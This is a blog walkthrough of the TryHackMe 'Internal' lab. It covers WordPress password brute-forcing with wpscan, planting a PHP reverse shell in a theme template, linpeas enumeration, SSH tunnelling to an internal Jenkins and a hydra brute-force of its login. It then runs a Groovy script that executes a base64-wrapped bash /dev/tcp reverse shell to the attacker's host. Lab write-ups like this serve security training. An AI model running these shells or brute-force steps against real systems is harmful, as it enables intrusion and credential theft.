Post

TryHackMe - Internal writeup

RoomInternal
Authortryhackme
DifficultyHard

This room is rated hard and it simulates a real-world pentest. It involves enough enumeration on the web server which is our only way in. And less harmful files that have user passwords saved in them which gave us easy access to the machine.

Let’s get started

Nmap scan

Started with my nmap scan to get open ports and services that might be running on our target system. I found that there are only two ports running, 22 and 80 that is SSH and a webserver HTTP respectively.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
# Nmap 7.94 scan initiated Thu Jun 22 20:51:05 2023 as: nmap -A -T4 -sCV -v -oN nmap.log 10.10.148.198
Increasing send delay for 10.10.148.198 from 0 to 5 due to 19 out of 47 dropped probes since last increase.
Nmap scan report for 10.10.148.198
Host is up (0.15s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 6e:fa:ef:be:f6:5f:98:b9:59:7b:f7:8e:b9:c5:62:1e (RSA)
|   256 ed:64:ed:33:e5:c9:30:58:ba:23:04:0d:14:eb:30:e9 (ECDSA)
|_  256 b0:7f:7f:7b:52:62:62:2a:60:d4:3d:36:fa:89:ee:ff (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.29 (Ubuntu)
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.94%E=4%D=6/22%OT=22%CT=1%CU=37045%PV=Y%DS=2%DC=T%G=Y%TM=64948A3
OS:D%P=x86_64-pc-linux-gnu)SEQ(SP=102%GCD=1%ISR=109%TI=Z%CI=Z%TS=C)SEQ(SP=1
OS:02%GCD=1%ISR=109%TI=Z%CI=Z%II=I%TS=C)SEQ(SP=102%GCD=1%ISR=10D%TI=Z%CI=Z%
OS:TS=C)SEQ(SP=102%GCD=1%ISR=10D%TI=Z%CI=Z%II=I%TS=A)SEQ(SP=102%GCD=1%ISR=1
OS:0D%TI=Z%CI=Z%II=I%TS=B)OPS(O1=M508ST11NW7%O2=M508ST11NW7%O3=M508NNT11NW7
OS:%O4=M508ST11NW7%O5=M508ST11NW7%O6=M508ST11)OPS(O1=M508ST11NW7%O2=M508ST1
OS:1NW7%O3=M508NNT11NW7%O4=NNT11%O5=M508ST11NW7%O6=M508ST11)WIN(W1=F4B3%W2=
OS:F4B3%W3=F4B3%W4=1E9%W5=F4B3%W6=F4B3)WIN(W1=F4B3%W2=F4B3%W3=F4B3%W4=F4B3%
OS:W5=F4B3%W6=F4B3)ECN(R=Y%DF=Y%T=40%W=F507%O=M508NNSNW7%CC=Y%Q=)T1(R=Y%DF=
OS:Y%T=40%S=O%A=S+%F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%
OS:F=R%O=%RD=0%Q=)T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y
OS:%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%R
OS:D=0%Q=)U1(R=Y%DF=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)I
OS:E(R=Y%DFI=N%T=40%CD=S)

Uptime guess: 4.607 days (since Sun Jun 18 06:18:27 2023)
Network Distance: 2 hops
TCP Sequence Prediction: Difficulty=258 (Good luck!)
IP ID Sequence Generation: All zeros
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 110/tcp)
HOP RTT       ADDRESS
1   148.10 ms 10.9.0.1
2   147.93 ms 10.10.148.198

Read data files from: /usr/bin/../share/nmap
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Thu Jun 22 20:51:57 2023 -- 1 IP address (1 host up) scanned in 52.58 seconds

Directory bruteforcing

Since i know there is a web server running, i threw my ffuf scan to bruteforce for any hidden directories that might seem interesting. Right away i got two directories blog and wordpress.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
┌──(prorat㉿prosec)-[~/hacks/thm/internal]
└─$ ffuf -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://10.10.148.198/FUZZ -H "Host: FUZZ"     

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.0.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://10.10.148.198/FUZZ
 :: Wordlist         : FUZZ: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
 :: Header           : Host: FUZZ
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200,204,301,302,307,401,403,405,500
________________________________________________

[Status: 200, Size: 10918, Words: 3499, Lines: 376, Duration: 149ms]
    * FUZZ: 

[Status: 301, Size: 295, Words: 20, Lines: 10, Duration: 570ms]
    * FUZZ: blog

[Status: 301, Size: 310, Words: 20, Lines: 10, Duration: 156ms]
    * FUZZ: wordpress

Going through the blog directory, seemed to be the base base url for the wordpress blog. I went futher to confirm whether the usual wp-admin page was there and i guess i wasn’t wrong.

image

Checking on the comments sections, i saw only one comment Hello World going through it, it shows that it was posted by user admin, interesting. We now have a possible user in our wordpress website. My wappalyzer told me the version of wordpress running is 5.4.2. Unfortunately there was no exploit or substantial vulnerability that could help me root this machine.

Trying to login using admin and password password i get this interesting error The password you entered for the username admin is incorrect which tells me that we have the right username, and we probably should be worried about the password only this case.

image

so

  • username
  • No exploit for wp version
  • No subdomain

Throwing wpscan to enumerate and username and some other information abou the wordpress passively. We find that the wordpress theme is outdated, this will come in handy when we have access to the wordpress. image

What next? i guess its time we tried to bruteforce the login creds using username admin and password from the mighty rockyou.txt. wpscan can do that. Ran the command wpscan --url http://internal.thm/blog --usernames admin --passwords /usr/share/wordlists/rockyou.txt and waited. Luckily, we got the password.

image

Initial access

We login using admin credentials we got. We already know that the wordpress theme twentyseventeen is outdated, we can use that. image

Edit the 404.php template to put our php reverse shell script from pentestmonkey. Change the IP address to attacking box IP and the port that you will be listening on for a reverse shell. image

Once we have that updated, we can access it in /wp-content/themes/twentyseventeen/404.php. We start our netcat listener

1
2
3
4
┌──(prorat㉿prosec)-[~/hacks/thm/internal]
└─$ nc -nlvp 1337                
listening on [any] 1337 ...

We visit our php reverse shell script that we have planted in the innocent 404.php template and boom we got a shell!!.

1
2
3
4
5
6
7
8
9
10
┌──(prorat㉿prosec)-[~/hacks/thm/internal]
└─$ nc -nlvp 1337                
listening on [any] 1337 ...
connect to [10.9.81.8] from (UNKNOWN) [10.10.29.155] 38416
Linux internal 4.15.0-112-generic #113-Ubuntu SMP Thu Jul 9 23:41:39 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux
 19:51:39 up 55 min,  0 users,  load average: 0.00, 0.00, 0.00
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$ 

Upgrading the shell

Start by finding which python version is installed in the machine by running which python3. Followed by python3 -c 'import pty;pty.spawn("/bin/bash")' to spawn a better-featured bash shell, then export TERM=xterm which gives us access to term commands. Then run CTRL + z to background the session and stty raw -echo; fg which turns off our own terminal echo which gives us access to tab autocompletes, the arrow keys, and Ctrl + C to kill processes then finally stty rows 38 columns 116. We now have a stable shell

1
2
3
4
5
6
www-data@internal:/$ ls
bin   cdrom  etc   initrd.img	   lib	  lost+found  mnt  proc  run   snap  swap.img  tmp  var      vmlinuz.old
boot  dev    home  initrd.img.old  lib64  media       opt  root  sbin  srv   sys       usr  vmlinuz
www-data@internal:/$ 
www-data@internal:/$ 

Privilege Escalation - User

We are in as www-data user, we are now supposed to escalate our privileges to a shell user in the machine that is aubreanna. image

Of course you must have heard about linpeas. It is a privesc tool that does enumerations on a machine for potential escalation routes in seconds. Easy, dowload linpeas here to your machine, start python3 server from where the linpeas file have been downloaded to.

1
2
3
4
5
┌──(prorat㉿prosec)-[~/hacks/thm/internal]
└─$ python3 -m http.server 80 
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.250.90 - - [23/Jun/2023 09:52:42] "GET /linpeas.sh HTTP/1.1" 200 -

Use wget to download it to your preferred directory in your target (as long as you have write permissions mostsly is /tmp and /dev/shm), in the URL the host IP with be attacking machine.

1
2
3
4
5
6
7
8
9
10
11
12
13
www-data@internal:/tmp$ wget http://10.9.81.8/linpeas.sh
--2023-06-23 06:52:42--  http://10.9.81.8/linpeas.sh
Connecting to 10.9.81.8:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 836054 (816K) [text/x-sh]
Saving to: 'linpeas.sh'

linpeas.sh                   100%[==============================================>] 816.46K   584KB/s    in 1.4s    

2023-06-23 06:52:44 (584 KB/s) - 'linpeas.sh' saved [836054/836054]

www-data@internal:/tmp$ 

Once it has been downloaded, make it executable using chmod +x linpeas.sh and run it ./linpeas.sh.

Started going through the linpeas output, We find that it is a docker container, only two users with a console, aubreanna and root. Going further, we get database credentials from the wordpress config file. image

NB: Checked on the mysql database and it was a dead end, there were no credentials that could help escalate my privildeges.

And going through the output, we come accross one interesting file wp-save.txt. image

Started find command to look for it and get an absolute path to its location in the file system. And in matters of second we get the path.

1
2
3
www-data@internal:/tmp$ find / -type f -name wp-save.txt 2>/dev/null
/opt/wp-save.txt

Reading it, we getaubreanna user password. image

User flag

Now that we have aubreanna’s password, we can proceed to login and retrieve the flag.

1
2
3
4
5
6
aubreanna@internal:/tmp$ cd ~
aubreanna@internal:~$ ls
jenkins.txt  snap  user.txt
aubreanna@internal:~$ cat user.txt
THM{redacted}
aubreanna@internal:~$ 

Privilege Escalation - root

Reading the jenkins.txt file found in the home directory, we find that it is talking about a jenkins service that is running on 172.17.0.2 at port 8080. Weird, cause it is not in our target machine. From ifconfig, our machine is running at 172.17.0.1.

1
2
3
4
5
6
7
8
9
10
11
12
aubreanna@internal:~$ cat jenkins.txt 
Internal Jenkins service is running on 172.17.0.2:8080
aubreanna@internal:~$ ifconfig
docker0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 172.17.0.1  netmask 255.255.0.0  broadcast 172.17.255.255
        inet6 fe80::42:65ff:fea3:95cd  prefixlen 64  scopeid 0x20<link>
        ether 02:42:65:a3:95:cd  txqueuelen 0  (Ethernet)
        RX packets 12  bytes 2245 (2.2 KB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 24  bytes 1806 (1.8 KB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

Port forwarding

Even if we try to access that docker IP and Port using our browser it will not be reachable. Therefore, to access it, we are going to use SSH tunneling technique to forward Jenkins ip:port to our attacker machine’s ip:port.

1
ssh -L 9000:172.17.0.2:8080 aubreanna@internal.thm

Then access the jenkins server by visiting the localhost at port 9000. We are presented with login. From here i just let hydra bruteforce the password with admin as the user. And we got something.

image

We login to jenkins. image

Abusing groovy script console

Jenkins has lovely Groovy script console that permits anyone to run arbitrary Groovy scripts inside the Jenkins master runtime. Groovy is a very powerful language which offers the ability to do practically anything Java can do.

We are going to use this to get a reverse shell on the docker environment. Go to manage jenkins> script console.

image

We first start our netcat listener on the port we will use in the rever shell script.

1
2
3
4
┌──(prorat㉿prosec)-[~/hacks/thm/internal]
└─$ nc -nlvp 1234                                                                              
listening on [any] 1234 ...

Then head to script console in our jenkins service and paste this script.

NOTE: You will need to put your IP and port in this one line bash reverse shell command bash -c 'bash -i >& /dev/tcp/<attacking_IP>/port 0>&1' and base64 encode it, then paste it in the <base64_encoded_revshell>.

1
2
3
4
5
def sout = new StringBuffer(), serr = new StringBuffer()
def proc = 'bash -c {echo,<base64_encoded_revshell>}|{base64,-d}|{bash,-i}'.execute()
proc.consumeProcessOutput(sout, serr)
proc.waitForOrKill(1000)
println "out> $sout err> $serr"

image

Then run the script and bingo we got a shell on the jenkins server, based on the user privilege escalation, we found a file that contained user password in the opt directory, How about now? We can check on the /opt directory and yes!! we have a note.txt file. image

Opening it, we get root’s password.

image

Root flag

Now that have the root’s password, we can ssh to the machine or switch user(su) to root right from aubreanna’s console.

1
2
3
4
5
6
7
8
aubreanna@internal:~$ su root
Password: 
root@internal:/home/aubreanna# cd /root
root@internal:~# ls
root.txt  snap
root@internal:~# cat root.txt
THM{redacted}

Conclusion

This was one of the amazing machines that i have come across in tryhackme, with all the process from enumeration, intial access, enumeration again, take the jenkins service to our machine, enumerate again to get into the jenkins server where we got all we were looking for.

GG to the creators and tryhackme. Thank you and i hope you enjoyed the write up.

This post is licensed under CC BY 4.0 by the author.